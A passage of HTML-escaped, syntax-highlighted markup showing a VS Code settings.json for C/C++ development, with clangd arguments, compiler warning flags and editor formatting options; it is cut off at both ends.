class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs json\"\u003e\u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;files.associations\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;iostream\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;cpp\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;intrinsics.h\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;c\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;ostream\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;cpp\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;vector\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;cpp\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;*.h\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;c\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.formatOnPaste\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.formatOnSave\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.formatOnType\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp.errorSquiggles\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;disabled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp.intelliSenseEngineFallback\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;disabled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp.intelliSenseEngine\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;disabled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp.autocomplete\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;disabled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;clangd.path\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/usr/bin/clangd\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;clangd.arguments\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--compile-commands-dir=$\u0026#123;workspaceFolder\u0026#125;/\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--log=verbose\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--pretty\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--all-scopes-completion\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--completion-style=bundled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--cross-file-rename\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--header-insertion=iwyu\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--header-insertion-decorators\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--background-index\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--clang-tidy\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--clang-tidy-checks=cppcoreguidelines-*,performance-*,bugprone-*,portability-*,modernize-*,google-*\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--fallback-style=file\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-j=2\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--pch-storage=disk\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--function-arg-placeholders=false\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.msvcBatchPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.cCompilerPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;gcc\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.cppCompilerPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;g++\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.debuggerPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;gdb\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.cStandard\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.cppStandard\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useMsvc\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.warnings\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wall\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wextra\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wpedantic\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wshadow\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wformat=2\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wcast-align\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wconversion\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wsign-conversion\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wnull-dereference\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.msvcWarnings\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/W4\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/permissive-\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14242\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14287\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14296\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14311\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14826\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w44062\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w44242\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14905\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14906\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14263\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w44265\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14928\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.enableWarnings\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.warningsAsError\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.compilerArgs\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.linkerArgs\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.includePaths\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.includeSearch\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;*\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/*\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.excludeSearch\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/build\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/build/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/.*\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/.*/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/.vscode\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/.vscode/**\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useAddressSanitizer\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useUndefinedSanitizer\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useLeakSanitizer\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.showCompilationTime\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useLinkTimeOptimization\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.msvcSecureNoWarnings\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;files.exclude\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;**/.*.*.cmd\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;**/.*.d\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;**/.*.S\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;[c]\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.detectIndentation\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.tabSize\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-number\"\u003e8\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.insertSpaces\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.rulers\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-number\"\u003e80\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan 